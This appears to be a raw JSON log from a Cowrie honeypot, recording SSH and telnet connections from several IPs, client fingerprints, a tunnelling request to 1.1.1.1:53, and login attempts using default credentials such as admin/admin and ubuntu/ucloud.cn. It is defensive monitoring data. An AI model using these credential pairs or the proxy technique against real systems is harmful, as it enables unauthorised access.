{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:59:46.648226Z","src_ip":"87.251.64.176","session":"d46ba4f35f11","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:59:46.750384Z","session":"d46ba4f35f11","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:59:46.848544Z","src_ip":"87.251.64.176","session":"d46ba4f35f11","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:59:46.947772Z","src_ip":"87.251.64.176","session":"d46ba4f35f11","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":61.55042004585266,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:59:49.636789Z","src_ip":"147.182.143.59","session":"e01ad1d14da6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":40044,"dst_ip":"159.203.135.109","dst_port":23,"session":"fa5410b2446c","protocol":"telnet","message":"New connection: 147.182.143.59:40044 (159.203.135.109:23) [session: fa5410b2446c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:59:55.584278Z"}
{"eventid":"cowrie.session.closed","duration":38.63120675086975,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:00:04.470308Z","src_ip":"45.58.127.90","session":"a3f20964c385","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"79.104.0.82","src_port":33194,"dst_ip":"10.17.0.5","dst_port":22,"session":"89f3b04be1c3","protocol":"ssh","message":"New connection: 79.104.0.82:33194 (10.17.0.5:22) [session: 89f3b04be1c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:00:06.100805Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:00:06.112891Z","src_ip":"79.104.0.82","session":"89f3b04be1c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:00:06.257919Z","src_ip":"79.104.0.82","session":"89f3b04be1c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ucloud.cn","message":"login attempt [ubuntu/ucloud.cn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:00:06.878913Z","src_ip":"79.104.0.82","session":"89f3b04be1c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.793232917785645,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:00:07.000202Z","src_ip":"45.58.127.90","session":"898ff289af5e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:00:08.027831Z","src_ip":"79.104.0.82","session":"89f3b04be1c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.69539213180542,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:00:09.040642Z","src_ip":"45.58.127.90","session":"ea2f8abe20fa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.360825538635254,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:00:10.741682Z","src_ip":"45.58.127.90","session":"aa84dea3b717","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.431493043899536,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:00:18.728631Z","src_ip":"45.58.127.90","session":"70c839ea6176","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.54765319824219,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:00:19.345843Z","src_ip":"45.58.127.90","session":"31d4514b01f0","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:00:19.471465Z","src_ip":"47.239.15.75","session":"4bc315e20912","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.41412901878357,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:00:20.299691Z","src_ip":"45.58.127.90","session":"03dac4ae1f30","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":36482,"dst_ip":"10.17.0.5","dst_port":23,"session":"f539b84cefe8","protocol":"telnet","message":"New connection: 45.58.127.90:36482 (10.17.0.5:23) [session: f539b84cefe8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:00:26.050563Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.96.67.8","src_port":13803,"dst_ip":"10.17.0.5","dst_port":23,"session":"845697da239f","protocol":"telnet","message":"New connection: 186.96.67.8:13803 (10.17.0.5:23) [session: 845697da239f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:00:28.431651Z"}
{"eventid":"cowrie.session.connect","src_ip":"47.239.15.75","src_port":48286,"dst_ip":"159.203.135.109","dst_port":22,"session":"c88d94c64a34","protocol":"ssh","message":"New connection: 47.239.15.75:48286 (159.203.135.109:22) [session: c88d94c64a34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:00:34.913962Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:00:34.919231Z","src_ip":"47.239.15.75","session":"c88d94c64a34","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:00:36.400601Z","src_ip":"47.239.15.75","session":"c88d94c64a34","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":36064,"dst_ip":"10.17.0.5","dst_port":23,"session":"3e772b7c4cc0","protocol":"telnet","message":"New connection: 45.58.127.90:36064 (10.17.0.5:23) [session: 3e772b7c4cc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:00:36.922865Z"}
{"eventid":"cowrie.login.failed","username":"tactical","password":"tactical","message":"login attempt [tactical/tactical] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:00:37.034954Z","src_ip":"47.239.15.75","session":"c88d94c64a34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.4","message":"Connection lost after 4.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:00:39.279999Z","src_ip":"47.239.15.75","session":"c88d94c64a34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.661524534225464,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:00:41.093066Z","src_ip":"186.96.67.8","session":"845697da239f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":50010,"dst_ip":"10.17.0.5","dst_port":23,"session":"60c94460c88a","protocol":"telnet","message":"New connection: 45.58.127.90:50010 (10.17.0.5:23) [session: 60c94460c88a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:00:49.471684Z"}
{"eventid":"cowrie.session.connect","src_ip":"79.104.0.82","src_port":49164,"dst_ip":"10.17.0.5","dst_port":22,"session":"66f99187cde5","protocol":"ssh","message":"New connection: 79.104.0.82:49164 (10.17.0.5:22) [session: 66f99187cde5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:00:54.563604Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:00:54.578248Z","src_ip":"79.104.0.82","session":"66f99187cde5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:00:54.733966Z","src_ip":"79.104.0.82","session":"66f99187cde5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":48616,"dst_ip":"159.203.135.109","dst_port":23,"session":"13a52df91d20","protocol":"telnet","message":"New connection: 147.182.143.59:48616 (159.203.135.109:23) [session: 13a52df91d20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:00:55.342687Z"}
{"eventid":"cowrie.login.failed","username":"test","password":"testtest","message":"login attempt [test/testtest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:00:55.385692Z","src_ip":"79.104.0.82","session":"66f99187cde5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:00:56.544497Z","src_ip":"79.104.0.82","session":"66f99187cde5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":65.1461033821106,"message":"Connection lost after 65 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:01:00.730141Z","src_ip":"147.182.143.59","session":"fa5410b2446c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":39658,"dst_ip":"10.17.0.5","dst_port":23,"session":"5f43cd0bd3c0","protocol":"telnet","message":"New connection: 45.58.127.90:39658 (10.17.0.5:23) [session: 5f43cd0bd3c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:01:04.855303Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":39668,"dst_ip":"10.17.0.5","dst_port":23,"session":"109212996e28","protocol":"telnet","message":"New connection: 45.58.127.90:39668 (10.17.0.5:23) [session: 109212996e28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:01:05.912504Z"}
{"eventid":"cowrie.session.closed","duration":40.63329482078552,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:01:06.683743Z","src_ip":"45.58.127.90","session":"f539b84cefe8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.706923007965088,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:01:11.049479Z","src_ip":"147.182.143.59","session":"13a52df91d20","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.37428951263428,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:01:21.297047Z","src_ip":"45.58.127.90","session":"3e772b7c4cc0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":52624,"dst_ip":"10.17.0.5","dst_port":23,"session":"01edde42f762","protocol":"telnet","message":"New connection: 45.58.127.90:52624 (10.17.0.5:23) [session: 01edde42f762]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:01:29.223186Z"}
{"eventid":"cowrie.session.closed","duration":120.00197172164917,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:01:30.525115Z","src_ip":"179.119.25.114","session":"16230f1b0630","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:01:30.956617Z","src_ip":"47.239.15.75","session":"4bc315e20912","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.729172706604004,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:01:31.200737Z","src_ip":"45.58.127.90","session":"60c94460c88a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"179.119.25.114","src_port":34633,"dst_ip":"159.203.135.109","dst_port":23,"session":"32e34f482992","protocol":"telnet","message":"New connection: 179.119.25.114:34633 (159.203.135.109:23) [session: 32e34f482992]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:01:34.954566Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.105.237.179","src_port":20616,"dst_ip":"159.203.135.109","dst_port":23,"session":"fafab3a39cc8","protocol":"telnet","message":"New connection: 176.105.237.179:20616 (159.203.135.109:23) [session: fafab3a39cc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:01:42.475253Z"}
{"eventid":"cowrie.session.connect","src_ip":"79.104.0.82","src_port":36898,"dst_ip":"10.17.0.5","dst_port":22,"session":"61f64c0587c1","protocol":"ssh","message":"New connection: 79.104.0.82:36898 (10.17.0.5:22) [session: 61f64c0587c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:01:43.504249Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:01:43.508920Z","src_ip":"79.104.0.82","session":"61f64c0587c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:01:43.661669Z","src_ip":"79.104.0.82","session":"61f64c0587c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"179.119.25.114","src_port":35122,"dst_ip":"159.203.135.109","dst_port":23,"session":"be42e8bd5930","protocol":"telnet","message":"New connection: 179.119.25.114:35122 (159.203.135.109:23) [session: be42e8bd5930]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:01:43.942759Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"4444444","message":"login attempt [ubuntu/4444444] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:01:44.292052Z","src_ip":"79.104.0.82","session":"61f64c0587c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.67007565498352,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:01:44.582462Z","src_ip":"45.58.127.90","session":"109212996e28","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.838155031204224,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:01:44.693117Z","src_ip":"45.58.127.90","session":"5f43cd0bd3c0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:01:45.448860Z","src_ip":"79.104.0.82","session":"61f64c0587c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.15536093711853,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:01:55.630501Z","src_ip":"176.105.237.179","session":"fafab3a39cc8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"47.239.15.75","src_port":50116,"dst_ip":"159.203.135.109","dst_port":22,"session":"b467f6450459","protocol":"ssh","message":"New connection: 47.239.15.75:50116 (159.203.135.109:22) [session: b467f6450459]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:01:58.034382Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:01:58.064008Z","src_ip":"47.239.15.75","session":"b467f6450459","protocol":"ssh"}
